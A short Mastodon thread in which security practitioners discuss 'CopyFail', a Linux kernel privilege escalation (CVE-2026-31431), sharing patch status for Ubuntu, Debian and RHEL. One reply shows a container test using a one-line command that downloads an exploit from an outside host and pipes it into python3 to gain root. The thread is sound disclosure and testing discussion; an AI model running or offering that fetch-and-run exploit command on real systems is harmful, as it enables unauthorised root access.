Yeah I tested CopyFail.

[mttaggart@infosec.exchange]

Yeah I tested CopyFail. It's real. Yikes.

https://discourse.ifin.network/t/copy-fail-732-bytes-to-root-on-every-major-linux-distributions/342

[jscybersec@infosec.exchange]

@mttaggart Can't privesc me if I always run as root!

[aburka@hachyderm.io]

@mttaggart tested it in a docker image (used Noble as the LTS releases have patched kernels already):

```
host $ docker run --rm -it ubuntu:noble
container # apt update && apt install curl python3
container # su ubuntu
container $ curl https://copy.fail/exp | python3 && su
container #
```

I'd say this is a welp of considerable magnitude

[agentk@chaos.social]

@mttaggart Debian 13 still vulnerable with 6.12.74

[emily@infosec.exchange]

@mttaggart

Editing to add:

RHEL has now updated the severity and the fix is no longer "deferred" for all affected OSes.

Looks like it requires a local user account, with a password set, to exploit, yes?

https://access.redhat.com/security/cve/cve-2026-31431